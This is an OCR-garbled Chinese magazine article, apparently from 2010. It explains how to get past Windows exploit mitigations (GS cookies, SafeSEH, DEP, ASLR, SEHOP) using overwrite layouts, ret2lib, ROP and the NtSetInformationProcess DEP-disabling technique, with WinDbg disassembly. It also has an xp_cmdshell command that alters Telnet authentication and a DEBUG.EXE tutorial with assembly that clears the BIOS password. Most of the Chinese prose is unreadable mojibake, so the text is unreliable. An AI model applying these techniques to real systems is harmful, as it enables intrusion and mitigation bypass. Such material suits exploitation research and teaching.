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DA D T A9, AERREAR S B 5 B a2 R (FH AT ar &t —FF) : tintadmn
config sec = —ntlm , Hiid—8PPAT5EEERL OK T, $ATEE )G B % Telnet B2 E R
W, — RER i RS S T AR T W R R AR S AR 88 A AT BL: s exec
master. dbo. xp_cmdshell ’tlntadmn config sec = —ntlm’ —HSZ2 —FHEE, ©21X0),
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KT AR, 51872 NP N A FERIAT 51, A OG- G2 X da HA 1) [l A
fIIRTEM . BEAE G BT FCRIERAN, W _EFF a6 IR 2 50 T R BGh 08, 8 8s 1V 2 % A
HHEAR, Feal2aimr) call/jmp esp, fEULHEHBERGZEHAT . XWE1HE T E
L, AATLE windows RGEMK VO+H+4mikds BN T & Bl B ORSFHLE], DL FH 1R X Bt
RIS R A i ORI B 5, AAE NAERIE T MS B IRESFRIE R LA K B
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2R T windows fs A, A2 WA Abysssec ZAHNIWE K L& (Past, Present,
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-windows—exploitation/) . fEAR L& P EEIEF | windows “F & L2 Fs H R4 LA
JREDL R Brid 7k, BAANEZ R,
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28 GS 9 1 e A b R AR s a] e 1% L -

sub esp, 24h

mov eax, dword ptr [ security cookie (408040h) ]
Xor eax, dword ptr [esp+24h]
mov dword ptr [esp+20h], eax

TE R I BAMUIS H FAE R BOR IR, Y security_check cookie () BR%L, VLHIMT
cookie f& M #EHEEL, 4 eREUR BN RS T

mov ecx, dword ptr [esp+20h]

Xor ecx, dword ptr [esp+24h]

add esp, 24h

jmp ~ security check cookie (4010B2h)

TE 22 9 X v R S, s S RS W R A B s 2R b, B2 BRMSES
cookie, I E| 5 HIE cookie ANAIRS (LA A& Lb# LT 408040h 5 4010B2h 4L cookie
ERLLED , Biohk 2w, HBa&iIbidtiE,

ZOUWIRrY

LG/ THE cookie

Reducing the Effective Entropy of GS Cookies
http://www. uninformed. org/?v=7&a=2&t=html

2 FE T SEH EHILE, XML EATCEARH T, E%A G R R

2. 7 SEH
AT security check cookie () PREHIEM A cookie i F K )5, SR EBREEG LR T %4
AEFGIRE, a2 SEH 5 fUh ORAEIFRET, WANRA, 4 RGN 8 A, itk

S &M 2010 FF-WIN BEbkBA © ZeaEH WRNRE
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AT LA (pop pop ret) & @ SEH KA 2% i H 1. {EXF 52 SafeSEH £R47 FIfHR,
BATRE S T2 exploit KA, RTERISILTEESERT HiA,
BT E.. OD 36 safeSEH. pattern create. pattern offset. msfpescan. memdump

3. A HER AT
Hitk AR DRI E] [cookie] AR A A7 4] DR [l ] [Z40] [ R 454t
LB RIGE RS, BT BT RSl R R AR R R, B RS BEEHF eip.

. SafeSEH

JRER: R 7Bk SEH AT SR B E B E A, MEKAE. net ZmBEES NN/ sdeseh wiF
EIIG| N SafeSEH HiR . Jw iR asfEgm PRI PE ST T A A7 1 5 A0 BRI FE () o bk fd i
Kl —5k %, HAE PE XAFE R (LQAT) — CON—FIG) H, Jf{# A shareuser WAZH )
— AMBENLEOME, FTICECR R . WX PE SCHEASCRF safesEH, WIZRATHIAE Y 0. 24 PE
AR GIME)E, KA BRI RAFE] ntd11. d11 B FEANEIRIX . 7E PE iz
ATHAM], SR AR T E W 5 AR, RSB M XGRS A IR
WA WU Bz AR AR, AT 1% 55 B

geid 75

FIFH SafeSEH {1k 2 ~h btk

X HAT KR windows #ERS, HARGBHHAZ SafeSEH R, AILUEH KIF)E
SafeSEH fR¥FBIRSHCRAIA, sk A S Bare) dll SCff, X AeTLMER) 0D fifk
SafeSEH REF B B FE i KA HUR B IF S SafeSEH {547, Btz 4, A B 878 26 3R 0] b
fk (jmp/call esp) RFIH . H—MT5k, Wk esp +8 &1 EXCEPTION REGISTRATION 4544,
HEAARAIIRTT LLF 4 — pop/pop/ret FEAH A (FEMMBALH W HBEE L2 4b2E]D ,
AFRLIE 5 TAE . AR SARTERE Fp i 0 s B b 64 2 pop/pop/ret $84, ARATLALE T
esp/ebp, BE FiXEEFIEREME R nseh HIWAS, 42 F R 2 AIRIXFEAITE L

call dword ptrlesp+tnn] / jmp dword ptr[esp+nn]

call dword ptrlebp+tnn] / jmp dword ptr[ebp+nn]

call dword ptrlebp—nn] / jmp dword ptr[ebp—nn]

() nn R TSR PMES] nseh HWEE, W nn AJRESZ: espt8, esp+l4, esptlc,
espt2c, espt44, esp+b0, ebpt+Oc, ebp+24, ebp+30, ebp-04, ebp-Oc, ebp-18).

WHIEF| L 3542 LA NULL #5455 B, T shellcode JBUETE SEH Z i
« 7f nseh LJHEMJGHIBEEIES (BhE 7 F97: jmp OxFEFFEFF9) ;

o JA) o kL LS K B b DAFEC shellcode, FFfEIE#4T A shellcode;

* {8 shellcode JUEH T 78 55 57 A BREE /1) 48 2 Mkt 2 AT o

ZeaxHE 2010 FFI-WIN FhExBA © ZEEH RNFE
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=. DEP

JREE BAEHATIRYT (DEP) B —BEHHAEOR, BEMSIE NAF LHATHSMG 25 LR 1L AR
AT W AR X A EHATACS . £ Microsoft Windows XP Service Pack 2. Microsoft
Windows Server 2003 Service Pack 1 . Microsoft Windows XP Tablet PC Edition 2005 .
Microsoft Windows Vista A1 windows 7 ", Hif#if4FIEfF—tCam$| 2 DEP. DEP A
Tt 2, AR CPU SCRF A TUNK J e, il S5 I DEP . WA AR B8R / 2 50 307 NX/XD
£ (ZE1E3AT) B, windows A BEHHAG 4 DEP, 75 ) A e Fp 4K DEP, A4 T R SafeSEH
TRIF.

ZOUWIRr

1. ret2lib

HEPKy: R EHNEFR R 1ib RS, TA BB 2] shellcode EHAT, #ETMIE
DB RAUS HIZAT o AT AFEFE R3] — BhAT R Gt ar & BAAUS, tin system () B8, HE
HOMHLTE AR A, B EDAE NX/XD 1k 2EHE R E AT ARRS, (ELHE oh O AR He RS2 P B
HUTH. B systen () TTSBHEAT AR BORAVT SOERERE, DI ) Shell 4555, 535h, &
AU T VirtualProtect BRECRAS SO SACHD I 2E N A7 TR I PATACR , SR 5 PR 2 il i
P 2% S AR, HHERAG R an Tk B

| AR
5 | o9 77 7 ik
| |
4 |
l | 1pf10l1dProtect

!
| I
4 |
| | f1NewProtect

[ 14
I e s | |
I | dwSize

| 14£
| |
4 |
| | IpAddress
MRS

| |
4 |
| | TR N O
il | |75
I I |
4F6 KH] 2010 EFI-WIN BhskBA © ZEEH NS
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| iR A M ohk VirtualProtect M % #h
HE [ |1

I EBP E 5 3 % i ks =
- | |
|
I |

| 1
| SHEGIFRADMEE C5A | SEFE MO I T % (X 35K | ]
| 2% 138, bl try---catch) | CAAAAAAAA+++++) ||
: |

| v
! R i 3
" |
W AF IR
L I |
BZ2ERASEER: http://www. infosecwriters. com/te ... /return—to-libc. pdf

2. FIH TEB 58 DEP
FEZHTH CRRZPIZ) AR CE (SP2 NAIM TEB $44T ShellCode) , A3 P4HRAYEH AT LA
A BB AR (G2 X BB S0 ARY , BIA R SCE . R EE SRR R
FIFH TEB (ZRARMITEH) KMk DEP (7775, AL e RGURANRS], RAefE XP sp2 KH
DL A windows R4 FAEH, BN SRAK R40, H TEB Ml AN 1), B2
ANAAERE . ZITER BARSCI TR N R

(1) KR (BT bk 78 55 B 457 B S pR B gk, Eedn 1strepy, memepy 5556

(2) fEiREIHNEZ J5 ) B AR N AE R AT shellcode MihE7E 75, A#ATEHIERIERN, #ak
shellcode B2 Hbr N fEHIAE, % B AR N AF#EAL T TEB fi#% 0xCO0 IHhT7, B 520 F
WL T ANST-to-Unicode PRETIRI#G 3,

(3) Ef|EeE4 W 5IR A2 shellcode itk IHHATE -

VRIS FLHERAT R h -

[shellcode) [saveebp) [lstrcpy] [TEB ZZEHME, FITE#4 5k [A1 3] shellcode]
[TEB 224744k ] [ShellCode i)

3. K4 DEP
F T e R KRR N % R B & (uninformed) R & (Bypassing Windows
Hardware—enforced Data Execution Prevention )

Chttp://www. uninformed. org/?v=2&a=4), HAMITT LAF T AN Z GBI 1R (= 8% win2003
sp2 FIEFAEMHH) DEPY (http://bbs. pediy. com/showthread. php?t=99045) , W EERFE
5 H 2 FH NtSetInformationProcess () BHCK 1 & KPROCESS 54 (AR SCHR AL,
BETAI 9CFA] DEP, KPROCESS 454 FAH SCHR B AL L0 F -

0:000> dt nt! KPROCESS -r
ntdl1l! KPROCESS

S &M 2010 FF-WIN BEbkBA © ZeaEH WRNRE
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+0x06b Flags : _KEXECUTE_OPTIONS

+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit

+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit

+0x000 ImageDispatchEnable : Pos 5, 1 Bit

+0x000 Spare : Pos 6, 2

Bits

24 DEP #%)o HiY, ExecuteDisable #{EA7, 4 DEP #{25H, ExecuteEnable #{EAf7, 4
Permanent bR BEAIR RN IX I E S RAWRE, AT HEKR. S

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess (
NtCurrentProcess (), // ProcessHandle = -1
ProcessExecuteFlags, // ProcessInformationClass =

0x22 (ProcessExecuteFlags)

&ExecuteFlags, // ProcessInformation =
0x2 (MEM EXECUTE OPTION ENABLE)
sizeof (ExecuteFlags)) : // ProcessInformationLength =

0x4

BRSSPl B (LR HEN E VirtualBox EIINL NI xp sp3 NHI) -
L¥al %8N 1, L$E4 mov al, 1 / ret, #RJ5HiZF84HuhE7E o5 R [ bk .

0:000> Imm ntdll

start end module name
7¢920000 7¢9b3000 ntdll (pdb
symbols) c¢:\symbollocal\ntdll. pdb\1751003260CA42598C0FB326585000

ED2\ntd11. pdb

0:000> s 7¢920000 1 93000 b0 01 c2 04

7c9718ea b0 01 ¢2 04 00 90 90 90-90 90 8b ff 55 8b ec b6  ............ u..v
0:000> u 7c9718ea

ntdl1!Ntdl10kayToLockRoutine:

7¢9718ea b001 mov al, 1

7c9718ec ¢20400 ret 4

HF LR ret 4, RICEF RFEAFIET 4 735 (Ebln OxEEFEEeer) IIRE 2 # P 4 775,
WS BRI FE A WIGT & ret MITEE LT 4 7,

2. Bk¥% 2| ntdl1!LdrpCheckNXCompatibility IS /ARAS (M cmp al, 1 JFiG, W@

S &M 2010 FF-WIN BEbkBA © ZeaEH WRNRE
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windbg FIAT4 uf ntdll!LdrpCheckNXCompatibility SR&EH HKICHALID) , bl
Huhik sk 7 2 0x7c93cd24 7 5 HER FHE ANk

ntdl1l!LdrpCheckNXCompatibility+0x13:

7¢93cd24 3c01 cmp al, 1

7¢93cd26 6a02 push 2

7¢93cd28 5e pop esi

7c¢93cd29 0f84df290200 je ntdl1!LdrpCheckNXCompatibility+0Oxla
(7¢9570e) ; ZHTCHE al B 1, kA sealphes

3. L b e R B L

0:000> u 7c95f70e
ntdl1!LdrpCheckNXCompatibility+0Oxla:

7c95f70e 8975fc mov dword ptr [ebp—4], esi

[ebp—0x4]= esi = 2

7c95f711 e919d6fdff jmp ntdl1l!LdrpCheckNXCompatibility+0x1d
(7c93cd2f)

4. TR 5K E

0:000> u 7c93cd2f

ntdl1l!LdrpCheckNXCompatibility+0x1d:

7c¢93cd2f 837dfc00 cmp dword ptr [ebp—4],0

7¢93cd33  0f85£89a0100 jne ntdl1!LdrpCheckNXCompatibility+0x4d
(7¢956831) ; ANHHZE UL ILBEH

5. b HIBkE: 5 R H

0:000> u 7¢956831
ntdl1!LdrpCheckNXCompatibility+0x4d:

7c956831

6a04 push 4 :ProcessInforma
tionLength = 4

7c956833 8d45fc lea eax, [ebp—4]

7c956836

50 push eax :ProcessInformation
= 2 (MEM_EXECUTE_OPTION ENABLE)

7c956837

6a2?2 push 22h :ProcessInf
ormationClass = 0x22 (ProcessExecuteFlags)

7c956839 6aff push OFFFFFFFFh

7¢95683b e84074fdff call ntdl1!ZwSetInformationProcess (7¢92dc80)
e KME 2010 FH)-WIN BhikBA © ZEEH RNFE
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7¢956840 e92865feff jmp ntdl1l!LdrpCheckNXCompatibility+0x5c
(7c93cd6d)
7¢956845 90 nop

7EI1X B B8 ZwSetInformationProcess () , i HSEt NIl ifiA 2 FAT15< 1] DEP 1Y% T

6. 5 B A 1 o i 4 2

0:000> u 7c93cd6d
ntdl1l!LdrpCheckNXCompatibility+0x5c:

7¢93cdbd be pop esi
7c93cdbe c9 leave

7¢93cd6f ¢20400 ret 4

5 IHEAR AR J5 LA -

[AAA-+- Xal=1 Huht X OxFrrrFeee X LdrpCheckNXCompatibility #64- itk X OxFFEFFEeT]
[702” x 54) [call/jmp esp) [shellcode]

A A A

A A A
Wkl R EHE fKIE ret 4 ) 4 FH 84 cmp al, O0x1 HiCiEH
hk ST HERR VA% NX A5 H 5 B HEAR

WRAEREH N J5, NFREH esi 8 ebp, (HILKENINPHAVERVBIRESH 17, M
2 FRATIAT LA FH 8 40 push esp/pop esi/ret B3 push esp/pop ebp/ret IXFE I 4 K
esi Ml ebp, VPMEZHH] DEP J5 ik BEWE 1E 5 #4047 -

BT E.: ImmDbg pycommand ##ff (!pvefindaddr depxpsp3 + !findantidep)

3. B WPN 5 ROP £

ROP (Return Oriented Programming) :iEZLHFHIEFAEAG KN Al LLZES A
—IERIAT IR L T

WPM (Write Process Memory) : FIFHTEAE kernel32. d11 HE X IR E L a1: WriteProcess
Memory BREXRIREEHE 5 A B8 € BRI NAF o (HEEA PN AE XSO U P U7 IR 1, 25 I
BRI

By Es i@ Em s (FA WN 5 ROP i R&eid DEP)
http://bbs. pediy. com/showthread. php?t=119300

4. F| ] SEH %¢id DEP

J2 H DEP J&, BEANBEAEH pop pop ret itk 1, TIRRH pop reg/pop reg/pop esp/ret fi
AMhhl, $84 pop esp W LALCZEMERRIRER, ret BEHUTREE ] nseh FRIHbEE I (F%
P NX R ()il 78 5 nseh, F#EIA] pop/pop/pop esp/ret 4854 MIFREHE & 7 W AL FEA) .
HEh T H. ImmDbg #&f4!pvefindaddr

ZeaxHE 2010 FFI-WIN FhExBA © ZEEH RNFE
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/Y. ASLR

JRER: ASLR CHihk=s (B AR R BENLAG) HARM = ZLT) 58 8 X |G ok ikt BE A LAk,
7 10 s 2 0 HE A L S R ) stk S A7 3% B ARSI LU AT . B R LR DY
HEEAT BEATLAL -
(1) HEHbHE I BEALAL 5
(2) B HE L BEALAL
(3) PE SCAFBR FE LI BEATLAL ;
(4) PEB (Process Environment Block, FFFE¥fIEHL) HuhlIBEHLAL .
CfE vista, windows 2008 server, windows7 FEZEIAE A (IE7 B4 , IERGES
A PLIE T B4 46 70 /DYNAMICBASE (Visual Studio 2005 SP1 PLERIRRAS, VS2008 #B 3 ¥F)
Ja XM R4, 0] F2h 5 ek D 9w E R dynamicbase fi7, i HSCHF ASLR R (G2 PE Sk
i D11Characteristics ¥WHEK 0x40 —n1] LA
fii Fl T PE EXPLORER FTHFJ%, #7 DllCharacteristics &75HF 0x40 #t AT LLANIE &
Y ASLR FiR) . A4, WA LU#E ] Process Explorer SREF &G /8 ASLR. J& A ASLR
Ja, BRI e A sttt exploit, HERGHE GG, IRTE exploit Hfd A ) —LL[H
€ MR 2 s, TS B exploit KA.

Geid Uik

1. 78 ma 50y R [a] ik
STEE R windows? 2R ENHTJE OD H loaddll. exe W&t 3Ebl, BEahni:

A RAT R
B ik KN A H % R 3 A AR
ZS HA

00400000 00060000 00410070 loaddll
D:\riusksk\TOOL\Ollydbg\loaddll. exe

6DDE0000 0008C000 6DDE1FFF AcLayers 6. 1. 7600. 16385
( C:\Windows\AppPatch\AcLayers. d11

710E0000 00012000 710E1200 mpr 6. 1. 7600. 16385
( C:\Windows\System32\mpr. d11

71C50000 00051000 71C79834 winspool 6. 1. 7600. 16385
( C:\Windows\System32\winspool. drv

747F0000 00017000 747F1C89 userenv 6. 1. 7600. 16385
( C:\Windows\System32\userenv. d11

750A0000 0001A000 750A2CCD sspicli 6. 1. 7600. 16385
( C:\Windows\System32\sspicli. dll

750C0000 0004B000 750C2B6C apphelp 6. 1. 7600. 16385
( C:\Windows\System32\apphelp. d11

75190000 0000B000 75191992 profapi 6. 1. 7600. 16385
( C:\Windows\System32\profapi. dll

75420000 0004A000 75427A9D KERNELBA 6. 1. 7600. 16385

( C:\Windows\system32\KERNELBASE. d11

ZeaxHE 2010 FFI-WIN FhExBA © ZEEH RNFE
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75B50000 0000A000 75B5136C LPK 6. 1. 7600. 16385
( C:\Windows\system32\LPK. d11

75B60000 0004E000 75B6EC49 GDI32 6. 1. 7600. 16385
( C:\Windows\system32\GDI32. d11

JRBh G

A AT

B ik KN A H & R 3 AR
Z AR

00400000 00060000 00410070 loaddl11
D:\riusksk\TOOL\Ol1lydbg\loaddll. exe

6F510000 0008C000 6F511FFF AcLayers 6. 1. 7600. 16385
( C:\Windows\AppPatch\AcLayers. d11

715B0000 00012000 715B1200 mpr 6. 1. 7600. 16385
( C:\Windows\System32\mpr. d11

72170000 00051000 72199834 winspool 6. 1. 7600. 16385
( C:\Windows\System32\winspool. drv

74C70000 00017000 74C71C89 userenv 6. 1. 7600. 16385
( C:\Windows\System32\userenv. d11

75520000 0001A000 75522CCD sspicli 6. 1. 7600. 16385
( C:\Windows\System32\sspicli. dll

75540000 0004B000 75542B6C apphelp 6. 1. 7600. 16385
( C:\Windows\System32\apphelp. d11

75610000 0000B000 75611992 profapi 6. 1. 7600. 16385
( C:\Windows\System32\profapi. d11

75690000 0004A000 75697A9D KERNELBA 6. 1. 7600. 16385
( C:\Windows\system32\KERNELBASE. d11

759B0000 000CC000 759B168B msctf 6. 1. 7600. 16385
( C:\Windows\System32\msctf. d11

75E60000 000ACO000 T5E6A472 msvert 7.0.7600. 16385
( C:\Windows\system32\msvert. d11

75F10000 0004E000 THF1EC49 GDI32 6. 1. 7600. 16385

( C:\Windows\system32\GDI32. d11

AT L, SRR 1 = 2 BE AL AR AL, TR A2 B AR, X B loaddll. exe 52
ADSL {3477, Fr DAHIENEE A BENLIL, W2 Notepad. exe 5t J3 A ASLR, &4 & &5k
135 /DYNAMICBASE % ¥ FFE 023 J5 B ASLR.  ERIELIRATTAT DAL E 78 545 R 78 2 313 0] k-
f—2F, BT /NREALAS b, HARA b AR AT, DR 26 2 10— 2 Mok I b TR A
T 3R (e b 0 5 67 AT TR e RFEAN S, BT DAERAT T TR R Rl ik 2 /T A bk v BBy (A 2 T
R IR R E5 BT 7E 1) 255 5 A8 (Al D B4R H — Tk F 1) shellcode (484, LT jmp edx (5%

ZeaxHE 2010 FFI-WIN FhExBA © ZEEH RNFE
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AW — T /AR A shellcode) o BRILZ AN, FATILMLIU shellcode JHAEIR [B]HhE 2 R,
ANGREEIR [Pk e o A e ds 1, XA RVRR . GBS, M A RIRYE, W R IR
BRECEAE, WRERLRA BATH EIR L T, XA 5 L T .

2. A 5 I ASLR frA5 He i it

X525 SafeSEH (Y J7VESAL, BEHAEARSZ ASLR fRH FIRLH b & $R B A% 45 4 1 Hu ik ok
78 55 R Bl Hb bk Bk SEH 4549, B DLiE i Process Explorer =% # ImmDbg i 2 i
{1 ASLRdynamicbase B{# (!pvefindaddr noaslr): SRETFHWFLEFEFEMRL S H ASLR 1R,

fi.. SEHOP

JE T . SR AE Microsoft Windows 2008 SPO. Microsoft Windows Vista SP1 1 Microsoft
Windows 7 I T B —H 3 B EP HL#] SEHOP(Structured Exception Handling Overwrite
Protection) , ‘ERI{EN SEH B4 f&, AT SEH 2478 S . SEHOP A% e 2 H T
T FE AR A I BT A SEH 25 A6 3R 1 8 B, R i X B Je — 1> SHE S5 M A o 75 B J5 —
A~ SEH 544 Hh A — AR BR ) e o AL B R BCER BT, FR 1R — N7 T ntd1D AR eR 2R
ntdl1!FinalExceptHandler () o *4FRATH jmp 06 pop pop ret K7 SEH £5# )5, HT
SEH £ BER ) 58 BRI 2IRRIR,  SEHOP it ReAs il 21 5 5 M FELAE shellcode f1IZ4T

ZOUWIRrY

thyi SEH 3%
- SEHOP 246l SEH %% R H5c8etE, A AANTAT LUBE L fhid SEH Bk B 45 26 ) SEH
BEF, HMIARISL I H K. BEARSLIL Tk

(1) &% SEH BER45M, nl{EB) OD S8, A )5 s —> SEH &5Mkbhk, DL5 51
FIH:

(2) H JE(0x74) + )5 —™ SEH gt fythhik Cei T HubE A S& 00, #nT 44 w4, Al i 0x74
B, FEFESEI 4 FA505E) FE 5 nexSEH;

(3) F xor pop pop ret ¥EA bk F<E % SEH handle, HAH] xor ¥84 2 T4 ZF B,
fERTTHI JE = JMP 484, ki scil gk

(4) FEIXPIAS SEH S5 BT BN —BkEEHR 4 (JMP+8) , DLk S 854 Bl AT 5

(5) TEIXPHA™ SEH Z5# 2 [A] 4= ¥ NOP JH 78, USR8 G Hel SEH G544 11

(6) ¥ shellcode EERJG— SFH £5#)2 J5, BP ntdl1!FinalExceptHandler () PR%Y
ZJ5o

BEE R HERR AR R D
[NOP---1 [JMP 08) [ JE XXXXXX] [=xor pop pop ret] I[NOP---]1 [JMP 08] [OxFFFFFFFF]
[ntdll!FinalExceptHandler) [shellcode]

A A
A
A
next SEH(  #& [ OxFFEFEfFr) SEH
Handle next
e EHE 2010 FH-WIN BEiBA © ZReEHR WRIRB
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SEH SEH Handle

Bz E R Z &R # R (% g SEHOP % 4 Hl Hl )
http://bbs. pediy. com/showthread. php?t=104707

i

ASCFEHRHAUR T windows T & [ & 8 ORI HLH] S HGeid 732, B35 456 S o A i
W, WA LT RATRETE R, PR X B — 3, 135038 4 AR RS AR OC 1) 591l i2 FH (1) Bk,
[ S R )2 paper, FFHIZEHE L RIE L dge WA BIEM (Exploit 45 RYIEFE
6) LLEEESE (Phrack) . (Uninformed) RIMHZRIBIC. f3K5 BEZAIH) ;407K
TR, FATARE T — T2 2L H e

[4H3C]) Debug KIf# FH 5HFFT

YE#: R.E.C—F22
*F Debug K% JHE

—. Debug Bf47?

DEBUG 5] i3 [E]
Bl http://baike. baidu. com/view/45108. htm?fr=ala0 1 1
DebugMan — %5 8 N B A http://www. debugman. com/

SARAINI Windows 1k AATTHE DOS JAEIEZ KICIZ Ve SR, HIEAMERAREAZ
oI BHIEE S, Debug B IXFE L IARE 2 — . AHTZ ) DOS 2IBLAH) Windows XP,
Debug — HL 5 SRR UK IR R Gt B0 A RGO B B VRIRP I E A E AN,
EEABANNZ RN RS ST, RATHAAMEEIX N E QAR 247 TR 7, W A
OSBRI, MERESFEE R %, ERZRH!

Ay TFHERUE: S — R UHEAL BUG A1 Debug

AL « SCHTERG IR S BOS 2 2], AR 2 RRAIE — & o LS fh A e
SR, TAERS, k3] IBM A R AHBE 100 /52 oHFRHENL, 55— e
2N B 1S, X CHBFAIZEENL” , AIXESE IBM A | A AR AL R
FE oneERE B LSS EL G LR AT, B 7L <t .

1945 9 H 9 H, AN 11 Sl vHHFE 7 0807 500 8 B « 2 A RURE P B o
DUT Wk, R4k eRARIE, RDUE R R mAE A SR ], A R T ML I AT .
TR EPAIX R R E TR TAEH B, IROE R RE T S R R R R
(bug) , AL, REXEGWHEN 1Lz O ELELEKF , FREMTmaIfi
S A o WL, BRATIELE “Debug” (BRHD W JE3K “bug” MNHHEHLAMK £
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kA7 IE, i DOS RGH AR, R A PRI Debug.

H AT A RIE PR A7 AE 55 15 50 %5 2R Je A Be 1) 5% [ g s 18 K 1A o g

1981 4, #H—/NPC DOS CEP DOS 1.00) Mtk sk 44 b7 Debug. com. Aid, FIH
A AL, Debug —H KA KIS ——X4R, X/&HH Debug 1445 FH P I ThfE, Debug A&
RAG . NEE AT L] L IR B 5 E R AR AW AR . SRT, TGI8 J& Windows 98, 2000
s XP, Debug (#7754l DOS MBS N A —FF.

DEBUGEHE 242

B—EEER
RIE! RIE!

B, WI%/E4k: %K) LAT @r 2% H Debug
Debug. exe XXAFALT Windows\system32 H3% (Windows XP) B Windows\command H 3%
(Windows 9x) o JEAFHITEMTF:
Step 1: Ay “TFe5—18177 , A “CMD”  (Windows 2000/XP) 8% “Command”
(Windows 9x) fTHa AR .
Step 2:%IN “Debug” FHZE, HIIRERG “-7 , WEMRDELITE T HME Debug tH
T
INRIR
PAT “? 7 w2 LASE Debug EE A NS
Step 3:%IA “D FE00:0” , [BIZ/5AIAFERIGR (K 1, XA EMR BIOS 1))
BfEE. BB MM “D FFFF:5 L 87, FIZJ5, FARM BIOS hitA H M HR T
Step 4:IFEMHIA “Q” #r4, BIZFJEHRL T Debug f2/5 .
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C. HkBHEN: Debug 2 #hsfi| 75

TEERAE VLT S 2 1, BB B E % 4s, B Debug A — MK, WA
iR, AR RGuE R — IR, X AEE—EEE.

Sl 1. EERPEREE

I “D €000:0090” fp&IFEmEIZE, XM AN BRI RET B REEAE. E7T
EEZEESE

Sei) 2. HIE BIOS 25 T At v

S0 BIOS %05, — AR R R iR 2 Y, (HIX @A e — e, HIE
1SIEHLAE . SR A Debug 1 0 fir &N BT HHAF 2 L TELE “=7 JEHMIALL T Ar 4

0 70 19

o 71 15

q

HIF M, R OMOS K54S, FEESRE Bk BIOS # & CMOS.

ANREZR: 70 FD 71 52 CMOS FIPEANIm 1, FRATTAT LAZE B AT 5 T bl s 5 N — LS4 iR iR

(40 19, 16, 17 55) , BB OM0S BT A& E, WRAWEAY 2 H LA EdE .

R DA KA Debug #ir 2 AKRRMT, BT LA TR 5 it dr A A7 e — > COM S0, 75
BRI R BE T — N7 T . 157E Debug 2R “=7 i ANLL R

A 100

MOV DX, 70

MOV AL, 10

OUT DX, AL

MOV DX, 71

MOV AL, 01

OUT DX, AL CXHLEWKEIZE, HEaBIl “=7 $R7F, K5 HHA TP am2)

R CX ([FIZEJFLHIL “CX 0000”7 , SRJE FI%E 4D

0C
N pass. COM
W
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Q

XFERL2AE Debug 2417 H 3% FAEAK pass. com, & —PiER BIOS OB KRR, RE
7E DOS 3 RFF FHEN “pass” , ARG ZERIAT . AT, H S Windows FHEATH
" AT, HEAKREEE, BN SEN)ETTEL.

. DEBUG [JFEH & X DEBUG I A

DEBUG & MYl 4wiE & Wit i — il TR, el 5T, B WSS 0N
TCGmiE 5 SR T HF A 3 #27 ATF Be. DEBUG W] DL B 42 F SR A 25 FIE CL N A7 21
TG RN R SR Bs AT A B A, k2 U DEBUG RIVR A EITHE LRI A
B, AN R S S B IR AT TAEM B R . A, S gRIE S Y R
Ui, DEBUG tH &%k M8 FVL 448 2 10— Rl 2 T H . #1253 AT L EL#/E DEBUG 3453 N ATIL
e 4. AT, 76 DEBUG FIgfTil4niE 5 VAR A2 8] T — 2R, EAREILME K IIFET,
AMET YRR B, AMETIEREL DOS AhEdr 2T A i) . EXE SO, ANRefd HiFah
ik, HASEEAE FH ASM A0 MASM $2 3t (1) 46K 22 B th 45 4
E DOS &4+, DEBUG #& LA DOS 4 & SCAFIE R4S FH 7 1), 440 DEBUG. EXE.
4 A DEBUG. EXE — A7 JTE DOS T H 3%, DHILifi A DEBUG B, W FG7E DOS $E/n7F F
A
DEBUG [<ERzh#s 4> ] [T ICUFEE> [T RA>]] [SH D] [SH 2] < B>
% 41: C:\DOS>DEBUG DISKCOPY.COM A: B:
H#E\ DEBUG HIFE/RFF RS =7 o BRI, HIPERAF “-” Wizl L5 DEBUG
T .
233k N\ DEBUG I, 347 a5 AR Bl LA R M, X 26 {i A T DEBUG 1 H HIFE 7 -
Bt75 17 4% CS, DS, ES 1SS ¥J45 1M DEBUG A I — 4Bt
IP #7745 BN 0100H. FRFEEr SP 4 ) 2 10 Bl ke AR P R 85 730 40 IR S
HARFFAAHE SR, B35 HAR S SO, W CX & SCHFK B (KBERT 64K
B BX KM 5 ARE NS EHENE; WRaha ek bk fE A B A% 80H 4k
V£, 4 DEBUG 22 ANF 4N, EXE HISCAF:, W DEBUG 75 2 52 7 H 1k B B A 7 a 4R 7 a4 A S
R B 7 S - {H DS, ES 8 7] S AR AT FH BEAL B2 7 X 28 - BX Al CX N S AE - 10 . EXE
SRR EERE R T AN NA RS, WZRTFEAN L.

=. DEBUG MEEMm LI 5HER
DEBUG 4 &£ DEBUG #&/-FF “~” T, HIEMBAN . 54 LA TR
ATk, G R MANRESE, BESHEERES N, HEKEUESRRIT, #1E
SR G AT KT, MR 2 EZER Enter. a4 XS EMHIN T LR K
NERIGE G . Ctrl+Break B0 H ka2 AT . Ctrl+Num Lock W 15 b w430, $%4F—
ARG, pTHAEE NS, HALE H,
* 1. JLgwmmd A
e A [[KBarfras s> / <Biibb> ] <Bimife>]
FREM T
(1) A <BHFHERL> <BAmE>
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(2) A <Bihhb>: <Brmfs>

(3) A <BtNmIE>

(4) A

Thfe: BN XA 2 )5 s B bk A B N R RS 91 5545 P DB BL IR SR BN T S i 2
I G FARIDHE &, I A7 T30 B ik A PN (2 BT 2 I A7 X 3k, B3 RoR T —Hhk
HTﬁHFE%%%E—AIEi%@E@Uh?”‘ “-r
T 3\143(l)ﬁﬁfa%%ﬁ#ﬁ%ﬁﬁ’]lﬂ%\r{’ﬁ&i@ﬂb (3) FH CS N AR BLbE,  (4) B
CS:100 1EHsNE. PUFar AR R it Mk 3, BB ). ). Q)i A JEHhEE
v

2. kw4 C

e C UEHBEVERED, <H prtbhb>

HAGuED 2 GiRtg bl <Zabthhl> s 2 i GiRagthhl> L KED>fR M — &
RETG.

g : MCRHIETE BB R ah Hh ik 5 o 2B A 5 B An g i ik DA B8 58 7 bR
JCHIN S, BERFLIEMENE, @A, DREMEE JRNE> CHFRRE> <HPR
iy k> R 2R 7R R T BT M N A

* 3. BRWNAFWAD

e D[l / <R ]

RN T

(1) D <uht>

(2) D <JEHED>

3) D

Dhifg: AR MIE B RTs e NAERNE . — R T8RN, —MEs
DAAH RE745 [ N 2B R ASCLT RS 4, XT/TTJQ? L RE.

W HAF OB S NEFAHE. B B CS:100 EIEBEMK — BN
g—éz

* 4, BRNGFmLE

A B k> [KHITHNEE>]

ST

(1) E <Husik>

(2) E <Hhhb> <HopzER>

